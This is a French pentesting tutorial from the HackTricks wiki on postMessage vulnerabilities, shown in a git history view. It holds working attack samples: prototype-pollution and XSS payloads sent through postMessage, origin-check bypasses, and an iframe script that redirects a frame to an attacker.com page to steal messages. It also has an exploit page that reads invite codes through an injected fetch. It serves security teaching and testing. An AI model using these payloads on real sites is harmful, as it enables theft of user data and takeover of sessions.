hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

210 lines
14 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Vulnérabilités PostMessage
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## Vulnérabilités PostMessage
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Envoyer un **PostMessage**
2021-01-07 12:57:52 +00:00
2023-06-03 13:10:46 +00:00
**PostMessage** utilise la fonction suivante pour envoyer un message :
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
2022-08-02 16:08:10 +00:00
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-10-04 21:42:12 +00:00
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2022-08-02 16:08:10 +00:00
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-01-07 12:57:52 +00:00
```
2023-06-03 13:10:46 +00:00
Notez que **targetOrigin** peut être un '\*' ou une URL comme _https://company.com._\
Dans le **deuxième scénario**, le **message ne peut être envoyé qu'à ce domaine** (même si l'origine de l'objet fenêtre est différente).\
Si le **joker** est utilisé, les **messages pourraient être envoyés à n'importe quel domaine**, et seront envoyés à l'origine de l'objet Window.
2021-01-07 12:57:52 +00:00
2023-06-03 13:10:46 +00:00
### Attaque de l'iframe et du joker dans **targetOrigin**
2021-01-07 12:57:52 +00:00
2023-06-03 13:10:46 +00:00
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (sans protection `X-Frame-Header`) et qui envoie des messages **sensibles** via **postMessage** en utilisant un **joker** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuir** le **message sensible** vers un domaine contrôlé par vous.\
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un joker**, cette **astuce ne fonctionnera pas**.
2021-01-07 12:57:52 +00:00
```markup
<html>
2021-10-04 21:42:12 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
```
2023-06-03 13:10:46 +00:00
## Exploitation de addEventListener
2021-01-07 12:57:52 +00:00
2023-06-03 13:10:46 +00:00
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend les `postMessages`**.\
Un code similaire à celui-ci sera utilisé :
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
2023-06-03 13:10:46 +00:00
Notez dans ce cas comment la **première chose** que le code fait est de **vérifier l'origine**. C'est terriblement **important**, surtout si la page va faire **quelque chose de sensible** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points d'extrémité** et changer les mots de passe des victimes (dans cet exemple).
2021-01-07 12:57:52 +00:00
2023-06-03 13:10:46 +00:00
### Énumération
2023-06-03 13:10:46 +00:00
Afin de **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez :
2023-06-03 13:10:46 +00:00
* **Rechercher** le code JS pour `window.addEventListener` et `$(window).on` (version _JQuery_)
* **Exécuter** dans la console des outils de développement : `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
2020-12-17 13:13:28 +00:00
2023-06-03 13:10:46 +00:00
* **Aller à** _Elements --> Event Listeners_ dans les outils de développement du navigateur
2022-10-13 00:56:34 +00:00
![](<../../.gitbook/assets/image (617).png>)
2023-06-03 13:10:46 +00:00
* Utilisez une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur **intercepteront tous les messages** et vous les montreront.
2023-06-03 13:10:46 +00:00
### Bypass de base de vérification d'origine
2020-12-17 13:13:28 +00:00
2023-06-03 13:10:46 +00:00
* Si **`indexOf()`** est utilisé pour **vérifier** l'**origine** de l'événement PostMessage, rappelez-vous qu'il peut être facilement contourné comme dans l'exemple suivant : `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* Si **`search()`** est utilisé pour **valider** l'**origine**, cela peut être insécurisé. Selon la documentation de `String.prototype.search()`, la méthode **prend un objet d'expression régulière** au lieu d'une chaîne. Si autre chose qu'une expression régulière est passé, il sera implicitement converti en une expression régulière.\
Dans une expression régulière, **un point (.) est traité comme un caractère générique**. Un attaquant peut en profiter et **utiliser** un **domaine spécial** au lieu de celui officiel pour contourner la validation, comme dans : `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
* Si la fonction **`escapeHtml`** est utilisée, la fonction ne crée pas un nouvel objet échappé, mais elle **écrase les propriétés** de l'objet existant. Cela signifie que si nous sommes capables de créer un objet avec une propriété contrôlée qui ne répond pas à `hasOwnProperty`, elle ne sera pas échappée.
2020-12-17 13:13:28 +00:00
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
2023-06-03 13:10:46 +00:00
L'objet `File` est parfait pour cette exploitation car il possède une propriété en lecture seule `name` qui est utilisée par notre modèle et contournera la fonction `escapeHtml`.
2020-12-17 13:13:28 +00:00
2023-06-03 13:10:46 +00:00
### Contournement de e.origin == window.origin
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Lorsqu'une page est intégrée dans une **iframe sandboxée** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, l'**origine** de cette **iframe** sera **`null`**.
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Lorsque la valeur de **sandbox `allow-popups` est définie**, la **popup ouverte** **héritera** de tous les **attributs sandboxés** sauf si `allow-popups-to-escape-sandbox` est défini.\
Ainsi, l'ouverture d'une **popup** à partir d'une **origine nulle** rendra également **`window.origin`** à l'intérieur de la popup **`null`**.
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Par conséquent, si vous ouvrez une **iframe sandboxée** autorisant les popups, puis vous **ouvrez une popup** à partir de l'intérieur de l'iframe, et **envoyez un message** de l'iframe **à la popup**, les deux origines sont nulles, donc: **`e.origin == window.origin == null`**
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Pour plus d'informations, **lisez**:
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Contournement de e.source
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez forcer **`e.source`** d'un message à être nul en créant une **iframe** qui **envoie** le **postMessage** et est **immédiatement supprimée**.
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Pour plus d'informations, **lisez:**
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Contournement de l'en-tête X-Frame
2023-06-03 13:10:46 +00:00
Pour effectuer ces attaques, vous pourrez idéalement **mettre la page web victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins furtive. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
2023-06-03 13:10:46 +00:00
### Vol de message envoyé à un enfant en bloquant la page principale
2023-06-03 13:10:46 +00:00
Sur la page suivante, vous pouvez voir comment vous pourriez voler des données sensibles envoyées par **postmessage** à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en exploitant un **XSS dans l'enfant** pour **fuir les données** avant qu'elles ne soient reçues :
2022-10-13 00:56:34 +00:00
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Vol de message en modifiant l'emplacement de l'iframe
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Si vous pouvez inclure une page web sans en-tête X-Frame qui contient un autre iframe, vous pouvez **changer l'emplacement de cet iframe enfant**, donc si elle reçoit un **postmessage** envoyé en utilisant un **joker**, un attaquant pourrait **changer** l'**origine** de cet iframe vers une page **contrôlée** par lui et **voler** le message :
2022-10-13 00:56:34 +00:00
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### postMessage vers la pollution de prototype et/ou XSS
2023-06-03 13:10:46 +00:00
Dans les scénarios où les données envoyées via `postMessage` sont exécutées par JS, vous pouvez **inclure** la **page** et **exploiter** la **pollution de prototype/XSS** en envoyant l'exploit via `postMessage`.
2021-10-04 22:23:21 +00:00
2023-06-03 13:10:46 +00:00
Un couple de **XSS très bien expliqués via `postMessage`** peuvent être trouvés dans [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
2023-06-03 13:10:46 +00:00
Exemple d'une exploitation pour abuser de la **pollution de prototype et ensuite XSS** via un `postMessage` à un `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
2023-06-03 13:10:46 +00:00
Pour **plus d'informations** :
2023-06-03 13:10:46 +00:00
* Lien vers la page sur la [**pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/)
* Lien vers la page sur le [**XSS**](../xss-cross-site-scripting/)
* Lien vers la page sur la [**pollution de prototype côté client vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
2021-03-23 22:23:10 +00:00
2023-06-03 13:10:46 +00:00
## Références
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
2023-06-03 13:10:46 +00:00
* Pour pratiquer : [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>